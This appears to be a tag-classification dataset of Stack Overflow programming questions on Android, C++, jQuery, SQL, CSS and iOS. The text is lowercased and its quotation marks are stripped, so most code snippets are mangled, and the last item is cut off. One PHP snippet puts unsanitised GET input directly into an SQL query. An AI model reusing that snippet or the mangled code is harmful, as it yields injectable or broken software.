how to call activity from clicking list item  my code is mentioned below and don t know what is wrong with it. i have list view in fragment and want to call activity on clicking list item.   <pre><code>public class fren_fragment extends fragment {     frenlistadapter cadapter;     listview clistview;       @nullable     @override     public view oncreateview(layoutinflater inflater  @nullable viewgroup container  @nullable bundle savedinstancestate) {         return inflater.inflate(r.layout.friend_fragment  container  false);     }      @override     public void onactivitycreated(bundle savedinstancestate) {          super.onactivitycreated(savedinstancestate);          cadapter = new frenlistadapter(getactivity());         clistview = (listview) getactivity().findviewbyid(android.r.id.list);         clistview.setadapter(cadapter);         clistview.setonitemclicklistener(new adapterview.onitemclicklistener() {             @override             public void onitemclick(adapterview&lt; &gt; parent  view view  int position  long id) {                 clistview.setitemchecked(position true);                 context context = view.getcontext();                 intent intent = new intent(context  companydetailactivity.class);                 context.startactivity(intent);             }         });      } } </code></pre>,android
installment - float error c2296  i have this function:   <pre><code>    float obliczrate(float fkwotakredytu  float foprocentowanie  int iiloscrat) {     /*     rata = k * y^n * (y-1) / (y^n-1);      y = 1 + (r / 12)     */      float frata  float fy;      fy = 1 + (foprocentowanie / 12); // obliczanie stałej kredytu     frata = fkwotakredytu * fy^iiloscrat * (fy - 1) / (fy^iiloscrat - 1); // obliczanie raty stałej ze wzoru      return frata; } </code></pre>   and i have error:  error c2296:  ^  : illegal  left operand has type  float   only on  (fy^iiloscrat - 1) . what s wrong with this,c++
saving custom data types  im making an app similar to apples weather app. my main view has a nsmutablearray of objects to be displayed. this array is managed by the user. i want to be able to save this array so that when the app is relaunched it has the stuff the user selected. the objects stored are  event  objects which is a custom object type that stores more custom objects that all hold some of the following: nsstring  nsnumber  nsuinteger  nsurl. my research has led me to three options  none of which i understand  nor know how to implement: saving to a plist using writetofile  archiving the data  or saving it to userprefs. does anybody know of a solution to my problem     sample data object:  `    <pre><code>@interface rider : nsobject {     nsstring *name; } -(rider *) initwithname:(nsstring *) nam; - (nsstring *)description ;   @property (nonatomic  retain) nsstring *name;  </code></pre>   `,iphone
state of the table view is changing when scrolling table view in iphone  i am trying to add two buttons dynamically label with add and remove. when clicking add button it should change label to remove and vice verse.     i am able to perform action for add or remove buttons dynamically but the state of the table view is changing its always keeping add buttons..    thanx    let me add my code here.   <pre><code>i am creating ui button and adding label like in for loop.is this right approach   uibutton *btn = [[uibutton buttonwithtype:uibuttontypecustom] retain]; btn.frame = cgrectmake(230  25  73  40) ; btn.tag = indexpath.row+1; btn.titlelabel.font = [uifont boldsystemfontofsize:15];  for (int i=0;i&lt;[myarrayone  count];  i++) {   for (int j=0; j&lt;[[appdelegate addingcartarray]   count]; j++)   {   if([myarrayone objectatindex:i] == [[appdelegate addingcartarray]  objectatindex:j])   {     [btn setbackgroundimage:[uiimage imagenamed:@ removetocart.png ] forstate:uicontrolstatenormal];     [btn addtarget:self action:@selector(remove:)  forcontrolevents:uicontroleventtouchupinside];   }    else {        [btn setbackgroundimage:[uiimage imagenamed:@ adtocart.png ] forstate:uicontrolstatenormal];        [btn addtarget:self action:@selector(addcartclicked:) forcontrolevents:uicontroleventtouchupinside];   } </code></pre>,objective-c
how to replace url in js whihot jquery   guys i have many links:     img/dasda/ja.png    ../img/no.png    wild/rpm/gulp/in.png      how in js change sting to last  /   to get just the name of image,javascript
how to add mapkit framework in xcode 4  i am using xcode 4 for developing a mapkit based application. i used this in xcode s earlier version but in xcode4 this framework is missing in framework and libraries list.    i followed application targets> build phases> link binary with libraries>  +     help me to find it.,iphone
what is “prototype” in javascript   can anyone explain to me with simple words the meaning of  prototype  in javascript  i have seen one link but i am not clear about prototype till now <a href= https://stackoverflow.com/questions/572897/how-does-javascript-prototype-work >how does javascript .prototype work </a>  please let me know about this.,javascript
sizeof() of a nested structure array  <strong>edited</strong>   <pre><code>#include&lt;stdio.h&gt; typedef struct ns{  int sd;  int we;  char st;  int m; }ds; typedef struct numb {   char b;   ds rt; }num; static num a[]={1  a }; int read(int number) {  printf( %d\n  number);  return 1; } int main() {     printf( %d  sizeof(a[0].rt));     read(sizeof(a[0].rt));     read(sizeof(a[0]));     return 0; } </code></pre>   my doubt is sizeof of an array when passed as a parameter will be modified as a temporary pointer variable. but here in array of structures as well as in the array of nested structure when trying to print the sizeof it gives the actual size. why the second read which contains array of structures is not getting converted to pointers as its an array.,c
stack memory allocation and alignment issues  here is the sample program and its output.   <pre><code>typedef struct{     char name[30];     int empno;     int sal; }empd  * empdptr;  int main(){     int x = 1;     char y = 2;     int z = 3;     empd e;     empdptr ep = &amp;e;      printf( sizeof ep = %d e = %d \n  sizeof(ep) sizeof(e));     printf( address of e = %u  ep = %u x = %u y = %u z = %u\n  &amp;e &amp;ep &amp;x &amp;y &amp;z);     printf( address of e.name = %u e.empno = %u e.sal = %u \n  &amp;e.name &amp;e.empno &amp;e.sal);     return 0; }  $ ./a.exe sizeof ep = 4 e = 40 address of e = 2289536  ep = 2289532 x = 2289596 y = 2289595 z = 2289588 address of e.name = 2289536 e.empno = 2289568 e.sal = 2289572 </code></pre>   here the difference between address of &amp;e and &amp;z is 52. but the sizeof(e) is 40. why compiler added 12 more bytes even though 40 bytes is enough,c
read xml file in android  i have an xml-file that contains data that i want to read. the code works in a desktop environment but i can t figure out how to store and read the file from an android device. ideas,android
"how to retain list numbers when hiding overflow   i ve got an html ordered list whose items contain a short  name  and a long  info  of which i would like to display only the first part so that the items use only a single line  sort of like a truncated preview.  the image below demonstrates the desired effect:    <img src= https://i.stack.imgur.com/d0s1t.png  alt= demonstration of preview effect >    i can basically achieve the effect by using the html/css below; however  the list numbers disappear!  see <a href= http://jsfiddle.net/mgteox4e/1/  rel= nofollow noreferrer >this jsfiddle</a> for a demonstration.    here is my attempted code:    <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.name { font-weight: bold; }
 .info { color: #ccc; }
 
 li { /* why do the li numbers disappear  */
     overflow: hidden;
     text-overflow: ellipsis;
     white-space: nowrap;
     width: 500px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;ol&gt;
     &lt;li&gt;&lt;span class= name &gt;foo&lt;/span&gt;: &lt;span class= info &gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. pellentesque lobortis ligula quis mi ultrices fringilla. suspendisse sed commodo magna. curabitur cursus non tellus vel dapibus. integer facilisis sollicitudin velit vel aliquet. aenean sit amet leo id neque suscipit volutpat sed blandit metus.&lt;/span&gt;&lt;/li&gt;
     &lt;li&gt;&lt;span class= name &gt;bar&lt;/span&gt;: &lt;span class= info &gt;nullam non posuere tortor. sed facilisis nibh et maximus interdum. vivamus eleifend lectus varius rutrum vehicula. ut sit amet dictum tortor  auctor fringilla nibh. aenean imperdiet suscipit suscipit. sed a ex eu purus dapibus venenatis. in ut orci eget libero sollicitudin mollis.&lt;/span&gt;&lt;/li&gt;
 &lt;/ol&gt;</code></pre>
 </div>
 </div>
     i m guessing the <code>overflow: hidden</code> directive is the culprit but it s also what achieves the desired truncation.  any ideas how i can display only a single truncated line of text per list item while retaining the numbering",css
clearing table columns when clicking on a href in table  i m trying to delete a column in a table when the user clicks on <code>remove</code> but i can t seem to get the correct <code>eq()</code>    here is my html   <pre><code>   &lt;table class= car-titles &gt;         &lt;thead data-spy= affix  data-offset-top= 495 &gt;             &lt;tr class= car-figures &gt;                 &lt;th&gt;&lt;/th&gt;                 &lt;td class= empty &gt;                     &lt;figure&gt;&lt;/figure&gt;                     &lt;ul&gt;                         &lt;li&gt;&lt;a href= #  data-toggle= compare-remove &gt;remove&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;view&lt;/a&gt;&lt;/li&gt;                         &lt;li class= space &gt;&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/td&gt;                 &lt;td class= empty &gt;                     &lt;figure&gt;&lt;/figure&gt;                     &lt;ul&gt;                         &lt;li&gt;&lt;a href= #   data-toggle= compare-remove &gt;remove&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;view&lt;/a&gt;&lt;/li&gt;                         &lt;li class= space &gt;&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/td&gt;                 &lt;td class= empty &gt;                     &lt;figure&gt;&lt;/figure&gt;                     &lt;ul&gt;                         &lt;li&gt;&lt;a href= #   data-toggle= compare-remove &gt;remove&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;view&lt;/a&gt;&lt;/li&gt;                         &lt;li class= space &gt;&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/td&gt;                 &lt;td class= empty last &gt;                     &lt;figure&gt;&lt;/figure&gt;                     &lt;ul&gt;                         &lt;li&gt;&lt;a href= #  data-toggle= compare-remove  &gt;remove&lt;/a&gt;&lt;/li&gt;                         &lt;li&gt;&lt;a href= # &gt;view&lt;/a&gt;&lt;/li&gt;                         &lt;li class= space &gt;&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr class= version &gt;                 &lt;th&gt;version&lt;/th&gt;                 &lt;td class= empty first last &gt;&lt;/td&gt;                 &lt;td class= empty &gt;&lt;/td&gt;                 &lt;td class= empty &gt;&lt;/td&gt;                 &lt;td class= empty last &gt;&lt;/td&gt;             &lt;/tr&gt;         &lt;/thead&gt;     &lt;/table&gt;       &lt;table class= attributes &gt;         &lt;tbody&gt;              &lt;tr&gt;                 &lt;th class= heading  colspan= 5 &gt;key facts&lt;/th&gt;             &lt;/tr&gt;             &lt;tr rel= rating &gt;                 &lt;th&gt;our rating&lt;/th&gt;                 &lt;td class= empty first last &gt;&lt;/td&gt;                 &lt;td class= empty &gt;&lt;/td&gt;                 &lt;td class= empty &gt;&lt;/td&gt;                 &lt;td class= empty last &gt;&lt;/td&gt;             &lt;/tr&gt;             &lt;tr rel= price &gt;                 &lt;th&gt;price&lt;/th&gt;                 &lt;td class= empty first last &gt;&lt;/td&gt;                 &lt;td class= empty &gt;&lt;/td&gt;                 &lt;td class= empty &gt;&lt;/td&gt;                 &lt;td class= empty last &gt;&lt;/td&gt;             &lt;/tr&gt;          &lt;/tbody&gt;       &lt;/table&gt; </code></pre>   here is my jquery   <pre><code> $(function() {         // listen for clicks on table originating from [data-toggle= compare-remove ] element(s)     $( table ).on( click    [data-toggle= compare-remove ]   function ( event ) {          var e = $(this).parent().index();          var f = $( .comparison );          var g = f.find( .version );          g.children( td ).eq(e).addclass( empty ).empty();          var i = e + 2;             $( table.attributes tr[rel] td:nth-child(  + i +  ) ).addclass( empty ).text(  );         });     }); </code></pre>   here is the <a href= http://jsfiddle.net/ka4ly/  rel= nofollow >jsfiddle</a>     note: i want to delete the correct column in both tables,jquery
find bad/duplicate data in same table  how can i find duplicate data because of bad data entry  i want to find customers that have the same phonenumber. i need to list both customers firstname and lastname    any thoughts  thanks    <strong>edit</strong>    when i run this query:   <pre><code>select firstname  lastname  phonenumber from customer </code></pre>   i get this result:   <pre><code>person  one 12345 person  two 23456 third   person  34567 first   person  12345 person  three   34567 </code></pre>   <strong>solution</strong>    this is a version of bulat s answer  which is best so far. other answers have not given the result i needed.   <pre><code>select   c1.firstname as firstname1    c1.lastname as lastname1    c2.firstname as firstname2     c2.lastname as lastname2    c1.phonenumber from    customer c1 inner join    customer c2 on c1.phone = c2.phone and c1.customerid &lt; c2.customerid </code></pre>,sql
c++ encode multiple values into 1 float  i only have so many variables exposed through shaders. one of those values is right now for color  but i m bastardizing it right now and in the shader using it for something else. however i need more. right now i m using the x &amp; y values for index values to lookup a subtexture on 1 big texture  which the shader will offset to. the z value of the color is for how many subtextures fit on the width of the big main texture. because they are index values they only really need to be ints and even char up to 256 would be fine.    now i want to be able to provide a scale value and a subset offset from the subtexture to give me full control. since i ll always need the z float value of the color and need it to be a float that variable is out. that leaves me with x  y  a (alpha) float values. is there any way i could encode byte values inside these so that when i decode them in the shader x actually stores 2 values  y stores 2 values  and alpha stores 2 values     i hope that made sense. i want to be able to encode values into a floating point variable via my game code  then decode them in the shader and use them in the shader. is this possible and if so what kind of value restrictions would we be looking at and how would you do it,c++
css bottom border not working properly   this is my html file which stores some customer details   <pre><code>&lt;html&gt;     &lt;head&gt;          &lt;link rel= stylesheet  type= text/css  href= css/home.css  /&gt;         &lt;title&gt;customer&lt;/title&gt;     &lt;/head&gt;       &lt;body&gt;             &lt;form id= formid  jwcid= formid@form  success= ognl:listeners.addcustomer &gt;                  &lt;table&gt;                          &lt;h3 id= customertab1 &gt;customer data&lt;/h3&gt;                          &lt;!--textfield for taking customerid--&gt;                           &lt;!--textfield for taking customername--&gt;                          &lt;tr&gt;                              &lt;td&gt;&lt;label id= customerlabel1 &gt;customer name:&lt;/label&gt;                              &lt;input type= text  jwcid= @textfield  id= customername  value= ognl:customername /&gt;&lt;/td&gt;                          &lt;/tr&gt;                          &lt;!--textfield for taking customeraddress--&gt;                          &lt;tr&gt;                              &lt;td&gt;&lt;label id= customerlabel2 &gt;customer address:&lt;/label&gt;                                  &lt;textarea rows= 2  cols= 20  jwcid= @textarea  id= address  value= ognl:address &gt;&lt;/textarea&gt;                              &lt;/td&gt;                          &lt;/tr&gt;                     &lt;/table&gt;                          &lt;h3 id= customertab2  &gt;select gender&lt;/h3&gt;                         &lt;!--radiogroup with radio buttons to select gender--&gt;                               &lt;span id= customergender  jwcid= customergender@radiogroup  selected= ognl:customergender &gt;                                 &lt;input type= radio  name= customergender  jwcid= @radio  value= 0 /&gt;&lt;label id= customermale &gt;male&lt;/label&gt;                                 &lt;input type= radio  name= customergender  jwcid= @radio  value= 1  /&gt;&lt;label id= customerfemale &gt;female&lt;/label&gt;                             &lt;/span&gt;                           &lt;h3 id= customertab3  &gt;select service&lt;/h3&gt;                           &lt;!--checkbox to select service--&gt;                           &lt;input type= checkbox  id= customerprivilege  jwcid= customerprivilege@checkbox  value= 1  selected= ognl:customerprivilege /&gt;                          &lt;label id= privilegecustomer &gt;privileged customer&lt;/label&gt;                         &lt;!--list to select paymnetmode--&gt;                          &lt;h3 id= customertab4 &gt;customer list&lt;/h3&gt;                                &lt;select&gt;                                  &lt;span jwcid= @for  source= ognl:customerlist  value= ognl:currentcustomerdata  keyexpression= id &gt;                                      &lt;option jwcid= @any  value= ognl:currentcustomerdata.id &gt;&lt;span jwcid= @insert  value= ognl:currentcustomerdata.customername &gt;&lt;/span&gt;&lt;/option&gt;                                  &lt;/span&gt;                              &lt;/select&gt;                             &lt;!--buttons to perform desired action--&gt;                              &lt;input id= submitform  type= submit  value= add customer  /&gt;              &lt;/form&gt;                &lt;/body&gt; &lt;/html&gt;   2. css code   html  body  div  span  applet  object  iframe  h1  h2  h3  h4  h5  h6  p  blockquote  pre  a  abbr  acronym  address  big  cite  code  del  dfn  em  img  ins  kbd  q  s  samp  small  strike  strong  sub  sup  tt  var  b  u  i  center  dl  dt  dd  ol  ul  li  fieldset  form  label  legend  table  caption  tbody  tfoot  thead  tr  th  td  article  aside  canvas  details  embed   figure  figcaption  footer  header  hgroup   menu  nav  output  ruby  section  summary  time  mark  audio  video {     margin: 0;     padding: 0;     border: 0;     font-size: 100%;     font: inherit;     vertical-align: baseline; } /* html5 display-role reset for older browsers */ article  aside  details  figcaption  figure   footer  header  hgroup  menu  nav  section {     display: block; } body {     line-height: 1; } ol  ul {     list-style: none; } blockquote  q {     quotes: none; } blockquote:before  blockquote:after  q:before  q:after {     content:   ;     content: none; } table {     border-collapse: collapse;     border-spacing: 0; } body {     margin: 17% 25%;      border-width: 1em;       border-style: groove;     border-color: orange;      background-image:url( blue.bmp );      background-repeat:no-repeat;     background-position:50%;      background-size:100%;  } textarea {     position: absolute;     left: 48.2%;     height: 5%;      resize: none;     width:12%;     top: 34%; } #customerlabel1 {     position: absolute;     left: 34%;     top: 30%;     font-family:verdana;     font-weight:bold; } #customerlabel2 {     position: absolute;     left: 34%;     top: 34%;     font-family:verdana;     font-weight:bold; } #customername {     position: absolute;      left: 48%;     top: 29.5%; } #customergender {     position: absolute;      left: 42%;     top: 47%; } #customermale {      font-family:verdana;     font-weight:bold;  } #customerfemale {      font-family:verdana;     font-weight:bold;  } #customerprivilege {     position: absolute;      left:40%;     top: 57%;  } #privilegecustomer {     position: absolute;      left: 42%;     top: 57%;      font-family:verdana;     font-weight:bold; } #customertab1 {     position: absolute;     left: 42%;     top: 26%;     background-color:fuchsia ;     background-repeat: no-repeat;     color: black;     text-align: left;     font-family: arial;     font-style:  normal;     font-weight: 500;     font-size: 1.5em; } #customertab2 {     position: absolute;     left: 42%;     top: 42%;     background-color: fuchsia;     background-repeat:  repeat-x;     color: black;     text-align: left;     font-family: arial;     font-style:  normal;     font-weight: 500;     font-size: 1.5em; } #customertab3 {     position: absolute;     left: 42%;     top:  52%;     background-color: fuchsia;     background-repeat:  repeat-x;     color: black;     text-align: left;     font-family: arial;     font-style:  normal;     font-weight: 500;     font-size: 1.5em; } #customertab4 {     position: absolute;     top: 62%;     left: 42%;     background-color: fuchsia;     background-repeat:  repeat-x;     color: black;     text-align: left;     font-family: arial;     font-style:  normal;     font-weight: 500;     font-size: 1.5em;   } select {     position: absolute;     left: 44%;     top: 66%;     font-family:verdana;     font-weight:bold; } #submitform {     position: absolute ;     left: 44%;     top: 70%;  } </code></pre>,css
how do i properly get the selected index of my select box <pre><code>&lt;script src= http://code.jquery.com/jquery-1.5.min.js &gt;&lt;/script&gt; &lt;script&gt; $(document).ready(function () { var $article = null;  $( #category ).change(function () { var $categoryname = $( #category ).attr( value );   if ($article == null) {  $article = $( &lt;h4&gt;select a business you wish to view.&lt;/h4&gt;&lt;select id= business  name= business  class= business &gt;&lt;/select&gt; ).appendto( .query );  $( #business ).load( php.php   {categoryname:$categoryname});  }   });  }); &lt;/script&gt; </code></pre>   category is the id/class/name given to my select box  each option is populated through php and is given a value= $row[ colname ]   i am trying to pass that selected value to a php document on change. so i can pass that value to the next queries where clause.    can you help me correct the    <pre><code>  var $categoryname = $( #category ).attr( value ); </code></pre>   line to get the selected index of #category and the value for w.e option is selected     here is php.php   <pre><code> &lt; php     $con = mysqli_connect(    );     // check connection     $myvar = $_get[ categoryname ];     if (mysqli_connect_errno())        {        echo  &lt;option&gt;failed to connect to the database&lt;/option&gt;  ;        }      echo  &lt;option&gt;select a business to view listing&lt;/option&gt; ;      $result = mysqli_query($con  select bname  category from business where category=$myvar );      while($row = mysqli_fetch_array($result)) {       echo  &lt;option class=  .$row[ bname ].  &gt; .$row[ bname ]. &lt;/option&gt; ;       }      // free result set      mysqli_free_result($result);      mysqli_close($con);   &gt; </code></pre>,jquery
jquery on() function and hover event  i m using ajax to load xml into a table and try to do the  hover  event to change color when hovering in and out of the table row. the table row is dynamically added using ajax. it s not working. the following is the code:   <pre><code>$(document).ready(function(){     //$( tr ).hover(function(){     $( #tbl1 ).on( hover   tr  function(){        $(this).attr( bgcolor    yellow );     }      function(){        $(this).attr( bgcolor    white );     });      }); </code></pre>   and the following is the table when the page load   <pre><code>&lt;table width= 200  border= 5  cellspacing= 5  cellpadding= 5  id= tbl1 &gt;      &lt;tr&gt;        &lt;th scope= col &gt;index&lt;/th&gt;        &lt;th scope= col &gt;matriks&lt;/th&gt;        &lt;th scope= col &gt;name&lt;/th&gt;        &lt;th scope= col &gt;ic&lt;/th&gt;        &lt;th scope= col &gt;age&lt;/th&gt;        &lt;th scope= col &gt;photo&lt;/th&gt;      &lt;/tr&gt; &lt;/table&gt; </code></pre>   thanks in advance for any help,jquery
select employee name  manager name  max salary of employee under each manager  <a href= https://i.stack.imgur.com/keolp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/keolp.png  alt= enter image description here ></a>    i have the above table  and i want to get employeename  manager name  max salary of employee under each manager     thanks in advance,sql
linker command failed with exit code 1  i have app it s working good   but i am add chat view ( xib - .h - .m ) files and every thing it s ok  but when i try to run it on my iphone i got this problem:   <pre><code>linker command failed with exit code 1       /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation2.o duplicate symbol _objc_ivar_$_afurlconnectionoperation._totalbytesread in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation2.o duplicate symbol _objc_ivar_$_afurlconnectionoperation._uploadprogress in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation2.o duplicate symbol _objc_ivar_$_afurlconnectionoperation._downloadprogress in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation2.o duplicate symbol _objc_ivar_$_afurlconnectionoperation._authenticationchallenge in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation2.o duplicate symbol _objc_ivar_$_afurlconnectionoperation._cacheresponse in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation2.o duplicate symbol _objc_ivar_$_afurlconnectionoperation._redirectresponse in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation2.o duplicate symbol _objc_class_$_afurlconnectionoperation in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation2.o duplicate symbol _objc_metaclass_$_afurlconnectionoperation in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation2.o duplicate symbol _objc_class_$_afhttprequestoperation in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afhttprequestoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afhttprequestoperation2.o duplicate symbol _objc_metaclass_$_afhttprequestoperation in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afhttprequestoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afhttprequestoperation2.o duplicate symbol _afnetworkingoperationfailingurlresponseerrorkey in:     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlconnectionoperation.o     /users/zzxzz/library/developer/xcode/deriveddata/9otk-exeoubkkvfbvbkejxccjhfiqjkrw/build/intermediates/9otk.build/debug-iphoneos/9otk.build/objects-normal/armv7/afurlresponseserialization2.o ld: 71 duplicate symbols for architecture armv7 clang: error: linker command failed with exit code 1 (use -v to see invocation) </code></pre>,ios
jquery: find textbox and dropdown value in table through $.each loop  during table iteration by jquery i want to read value from textbox and dropdown. i want to access textboxes and dropdown by id. i tried this code but not getting desired output. here is full code.   <pre><code>&lt;table id= sample &gt; &lt;thead&gt;     &lt;tr&gt;         &lt;th&gt;             first name         &lt;/th&gt;         &lt;th&gt;             last name         &lt;/th&gt;         &lt;th&gt;             vehicle                   &lt;/th&gt;     &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type= text  id= txtfname  name= txtfname &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= text   id= txtlname  name= txtlname &gt;         &lt;/td&gt;         &lt;td&gt;           &lt;select&gt;             &lt;option value=  &gt;--select--&lt;/option&gt;             &lt;option value= volvo &gt;volvo&lt;/option&gt;             &lt;option value= saab &gt;saab&lt;/option&gt;             &lt;option value= mercedes &gt;mercedes&lt;/option&gt;             &lt;option value= audi &gt;audi&lt;/option&gt;           &lt;/select&gt;                   &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type= text  id= txtfname  name= txtfname &gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= text   id= txtlname  name= txtlname &gt;                   &lt;/td&gt;         &lt;td&gt;           &lt;select id= vehicle &gt;             &lt;option value=  &gt;--select--&lt;/option&gt;             &lt;option value= volvo &gt;volvo&lt;/option&gt;             &lt;option value= saab &gt;saab&lt;/option&gt;             &lt;option value= mercedes &gt;mercedes&lt;/option&gt;             &lt;option value= audi &gt;audi&lt;/option&gt;           &lt;/select&gt;                   &lt;/td&gt;     &lt;/tr&gt; &lt;/tbody&gt;     &lt;tfoot&gt;     &lt;tr&gt;       &lt;td colspan= 2 &gt;sample footer&lt;/td&gt;     &lt;/tr&gt;   &lt;/tfoot&gt;     &lt;/table&gt;  $( #sample tr ).each(function() {     alert($(this).( input[id^= txtfname ] ).val());  }); </code></pre>   where i made the mistake  thanks   <h2>edit</h2>   i want to iterate table when button click.........but still not working.   <pre><code>$(document).ready(function() {     $( #btnsubmit ).click(function(){ $( #sample tr ).each(function() {     alert($(this).find( input[id= txtfname ] ).val());   return false });     });  }); </code></pre>   <a href= https://jsfiddle.net/tridip/mgbqhl7v/6/  rel= nofollow >https://jsfiddle.net/tridip/mgbqhl7v/6/</a>,jquery
why do i have this infinite loop  hey guys kind of new to the programming world and i know you should read in all input as a string but this is just a simple program and i m having a brain fart i think but here is my question......why when i press q to quit am i getting an infinite loop and how would i condense the while loops because that looks gross here is what i have so far   <pre><code>#include  stdafx.h   #include &lt;iostream&gt; using namespace std; int main() {      int grade;     char quit =  a ;      cout &lt;&lt;  input your grade (0-100):  ;     cout &lt;&lt; endl;     cin &gt;&gt; grade;     while (grade &lt; 0) {         cout &lt;&lt;  if you have a negetive grade....drop out! otherwise enter another grade  &lt;&lt; endl;         cin &gt;&gt; grade;     }     while (quit !=  q ) {         while (grade &lt; 0) {             cout &lt;&lt;  if you have a negetive grade....drop out! otherwise enter another grade  &lt;&lt; endl;             cin &gt;&gt; grade;         }          if (grade == 100) {             cout &lt;&lt;  you got a perfect grade!  &lt;&lt; endl;             cout &lt;&lt;  letter grade: a  &lt;&lt; endl;         }         else if (grade &gt;= 90 &amp;&amp; grade &lt;= 100) {             cout &lt;&lt;  letter grade: a  &lt;&lt; endl &lt;&lt; endl;         }         else if (grade &gt;= 80 &amp;&amp; grade &lt;= 89) {             cout &lt;&lt;  letter grade: b  &lt;&lt; endl &lt;&lt; endl;         }         else if (grade &gt;= 70 &amp;&amp; grade &lt;= 79) {             cout &lt;&lt;  letter grade: c  &lt;&lt; endl &lt;&lt; endl;         }         else if (grade &gt;= 60 &amp;&amp; grade &lt;= 69) {             cout &lt;&lt;  letter grade: d  &lt;&lt; endl &lt;&lt; endl;         }         else if (grade &lt; 60) {             cout &lt;&lt;  letter grade: f  &lt;&lt; endl &lt;&lt; endl;         }         else {             cout &lt;&lt;  invalid grade!  &lt;&lt; endl;         }         cout 